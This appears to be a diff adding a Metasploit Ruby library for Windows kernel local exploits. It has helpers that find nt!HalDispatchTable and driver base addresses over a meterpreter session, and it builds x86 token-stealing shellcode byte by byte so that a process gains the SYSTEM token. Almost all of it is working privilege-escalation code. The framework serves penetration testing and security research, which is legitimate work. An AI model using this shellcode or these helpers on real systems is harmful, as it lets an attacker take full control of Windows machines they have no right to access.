|
| 1 | +# -*- coding: binary -*- |
| 2 | + |
| 3 | +module Msf |
| 4 | +module Exploit::Local::WindowsKernel |
| 5 | + include Msf::PostMixin |
| 6 | + include Msf::Post::Windows::Error |
| 7 | + |
| 8 | + # |
| 9 | + # Find the address of nt!HalDispatchTable. |
| 10 | + # |
| 11 | + # @return [Integer] The address of nt!HalDispatchTable. |
| 12 | + # @return [nil] If the address could not be found. |
| 13 | + # |
| 14 | + def find_haldispatchtable |
| 15 | + kernel_address, kernel_name = find_sys_base(nil) |
| 16 | + if kernel_address.nil? || kernel_name.nil? |
| 17 | + print_error("Failed to find the address of the Windows kernel") |
| 18 | + return nil |
| 19 | + end |
| 20 | + vprint_status("Kernel Base Address: 0x#{kernel_address.to_s(16)}") |
| 21 | + |
| 22 | + h_kernel = session.railgun.kernel32.LoadLibraryExA(kernel_name, 0, 1) |
| 23 | + if h_kernel['return'] == 0 |
| 24 | + print_error("Failed to load #{kernel_name} (error: #{h_kernel['GetLastError']} #{h_kernel['ErrorMessage']})") |
| 25 | + return nil |
| 26 | + end |
| 27 | + h_kernel = h_kernel['return'] |
| 28 | + |
| 29 | + hal_dispatch_table = session.railgun.kernel32.GetProcAddress(h_kernel, 'HalDispatchTable') |
| 30 | + if hal_dispatch_table['return'] == 0 |
| 31 | + print_error("Failed to retrieve the address of nt!HalDispatchTable (error: #{hal_dispatch_table['GetLastError']} #{hal_dispatch_table['ErrorMessage']})") |
| 32 | + return nil |
| 33 | + end |
| 34 | + hal_dispatch_table = hal_dispatch_table['return'] |
| 35 | + |
| 36 | + hal_dispatch_table -= h_kernel |
| 37 | + hal_dispatch_table += kernel_address |
| 38 | + vprint_status("HalDispatchTable Address: 0x#{hal_dispatch_table.to_s(16)}") |
| 39 | + hal_dispatch_table |
| 40 | + end |
| 41 | + |
| 42 | + # |
| 43 | + # Find the load address for a device driver on the session. |
| 44 | + # |
| 45 | + # @param drvname [String, nil] The name of the module to find, otherwise the kernel |
| 46 | + # if this value is nil. |
| 47 | + # @return [Array] An array containing the base address and the located drivers name. |
| 48 | + # @return [nil] If the name specified could not be found. |
| 49 | + # |
| 50 | + def find_sys_base(drvname) |
| 51 | + if session.railgun.util.pointer_size == 8 |
| 52 | + ptr = 'Q<' |
| 53 | + else |
| 54 | + ptr = 'V' |
| 55 | + end |
| 56 | + |
| 57 | + results = session.railgun.psapi.EnumDeviceDrivers(0, 0, session.railgun.util.pointer_size) |
| 58 | + unless results['return'] |
| 59 | + print_error("EnumDeviceDrivers failed (error: #{results['GetLastError']} #{results['ErrorMessage']})") |
| 60 | + return nil |
| 61 | + end |
| 62 | + results = session.railgun.psapi.EnumDeviceDrivers(results['lpcbNeeded'], results['lpcbNeeded'], session.railgun.util.pointer_size) |
| 63 | + unless results['return'] |
| 64 | + print_error("EnumDeviceDrivers failed (error: #{results['GetLastError']} #{results['ErrorMessage']})") |
| 65 | + return nil |
| 66 | + end |
| 67 | + addresses = results['lpImageBase'][0..results['lpcbNeeded'] - 1].unpack("#{ptr}*") |
| 68 | + |
| 69 | + addresses.each do |address| |
| 70 | + results = session.railgun.psapi.GetDeviceDriverBaseNameA(address, 48, 48) |
| 71 | + if results['return'] == 0 |
| 72 | + print_error("GetDeviceDriverBaseNameA failed (error: #{results['GetLastError']} #{results['ErrorMessage']})") |
| 73 | + return nil |
| 74 | + end |
| 75 | + current_drvname = results['lpBaseName'][0,results['return']] |
| 76 | + if drvname.nil? |
| 77 | + if current_drvname.downcase.include?('krnl') |
| 78 | + return address, current_drvname |
| 79 | + end |
| 80 | + elsif drvname == current_drvname |
| 81 | + return address, current_drvname |
| 82 | + end |
| 83 | + end |
| 84 | + end |
| 85 | + |
| 86 | + # |
| 87 | + # Open a device on a meterpreter session with a call to CreateFileA and return |
| 88 | + # the handle. Both optional parameters lpSecurityAttributes and hTemplateFile |
| 89 | + # are specified as nil. |
| 90 | + # |
| 91 | + # @param file_name [String] Passed to CreateFileA as the lpFileName parameter. |
| 92 | + # @param desired_access [String, Integer] Passed to CreateFileA as the dwDesiredAccess parameter. |
| 93 | + # @param share_mode [String, Integer] Passed to CreateFileA as the dwShareMode parameter. |
| 94 | + # @param creation_disposition [String, Integer] Passed to CreateFileA as the dwCreationDisposition parameter. |
| 95 | + # @param flags_and_attributes [String, Integer] Passed to CreateFileA as the dwFlagsAndAttributes parameter. |
| 96 | + # @return [Integer] The device handle. |
| 97 | + # @return [nil] If the call to CreateFileA failed. |
| 98 | + # |
| 99 | + def open_device(file_name, desired_access, share_mode, creation_disposition, flags_and_attributes = 0) |
| 100 | + handle = session.railgun.kernel32.CreateFileA(file_name, desired_access, share_mode, nil, creation_disposition, flags_and_attributes, nil) |
| 101 | + if handle['return'] == INVALID_HANDLE_VALUE |
| 102 | + print_error("Failed to open the #{file_name} device (error: #{handle['GetLastError']} #{handle['ErrorMessage']})") |
| 103 | + return nil |
| 104 | + end |
| 105 | + handle['return'] |
| 106 | + end |
| 107 | + |
| 108 | + # |
| 109 | + # Generate token stealing shellcode suitable for use when overwriting the |
| 110 | + # HaliQuerySystemInformation pointer. The shellcode preserves the edx and ebx |
| 111 | + # registers. |
| 112 | + # |
| 113 | + # @param target [Hash] The target information containing the offsets to _KPROCESS, |
| 114 | + # _TOKEN, _UPID and _APLINKS. |
| 115 | + # @param backup_token [Integer] An optional location to write a copy of the |
| 116 | + # original token to so it can be restored later. |
| 117 | + # @param arch [String] The architecture to return shellcode for. If this is nil, |
| 118 | + # the arch will be guessed from the target and then module information. |
| 119 | + # @return [String] The token stealing shellcode. |
| 120 | + # @raise [ArgumentError] If the arch is incompatible. |
| 121 | + # |
| 122 | + def token_stealing_shellcode(target, backup_token = nil, arch = nil) |
| 123 | + arch = target.opts['Arch'] if arch.nil? && target && target.opts['Arch'] |
| 124 | + if arch.nil? && module_info['Arch'] |
| 125 | + arch = module_info['Arch'] |
| 126 | + arch = arch[0] if arch.class.to_s == 'Array' and arch.length == 1 |
| 127 | + end |
| 128 | + if arch.nil? |
| 129 | + print_error('Can not determine the target architecture') |
| 130 | + fail ArgumentError, 'Invalid arch' |
| 131 | + end |
| 132 | + |
| 133 | + tokenstealing = '' |
| 134 | + case arch |
| 135 | + when ARCH_X86 |
| 136 | + tokenstealing << "\x52" # push edx # Save edx on the stack |
| 137 | + tokenstealing << "\x53" # push ebx # Save ebx on the stack |
| 138 | + tokenstealing << "\x33\xc0" # xor eax, eax # eax = 0 |
| 139 | + tokenstealing << "\x64\x8b\x80\x24\x01\x00\x00" # mov eax, dword ptr fs:[eax+124h] # Retrieve ETHREAD |
| 140 | + tokenstealing << "\x8b\x40" + target['_KPROCESS'] # mov eax, dword ptr [eax+44h] # Retrieve _KPROCESS |
| 141 | + tokenstealing << "\x8b\xc8" # mov ecx, eax |
| 142 | + tokenstealing << "\x8b\x98" + target['_TOKEN'] + "\x00\x00\x00" # mov ebx, dword ptr [eax+0C8h] # Retrieves TOKEN |
| 143 | + unless backup_token.nil? |
| 144 | + tokenstealing << "\x89\x1d" + [backup_token].pack('V') # mov dword ptr ds:backup_token, ebx # Optionaly write a copy of the token to the address provided |
| 145 | + end |
| 146 | + tokenstealing << "\x8b\x80" + target['_APLINKS'] + "\x00\x00\x00" # mov eax, dword ptr [eax+88h] <====| # Retrieve FLINK from ActiveProcessLinks |
| 147 | + tokenstealing << "\x81\xe8" + target['_APLINKS'] + "\x00\x00\x00" # sub eax,88h | # Retrieve _EPROCESS Pointer from the ActiveProcessLinks |
| 148 | + tokenstealing << "\x81\xb8" + target['_UPID'] + "\x00\x00\x00\x04\x00\x00\x00" # cmp dword ptr [eax+84h], 4 | # Compares UniqueProcessId with 4 (The System Process on Windows XP) |
| 149 | + tokenstealing << "\x75\xe8" # jne 0000101e ====================== |
| 150 | + tokenstealing << "\x8b\x90" + target['_TOKEN'] + "\x00\x00\x00" # mov edx,dword ptr [eax+0C8h] # Retrieves TOKEN and stores on EDX |
| 151 | + tokenstealing << "\x8b\xc1" # mov eax, ecx # Retrieves KPROCESS stored on ECX |
| 152 | + tokenstealing << "\x89\x90" + target['_TOKEN'] + "\x00\x00\x00" # mov dword ptr [eax+0C8h],edx # Overwrites the TOKEN for the current KPROCESS |
| 153 | + tokenstealing << "\x5b" # pop ebx # Restores ebx |
| 154 | + tokenstealing << "\x5a" # pop edx # Restores edx |
| 155 | + tokenstealing << "\xc2\x10" # ret 10h # Away from the kernel! |
| 156 | + else |
| 157 | + # if this is reached the issue most likely exists in the exploit module |
| 158 | + print_error('Unsupported arch for token stealing shellcode') |
| 159 | + fail ArgumentError, 'Invalid arch' |
| 160 | + end |
| 161 | + tokenstealing |
| 162 | + end |
| 163 | +end |
| 164 | +end |
0 commit comments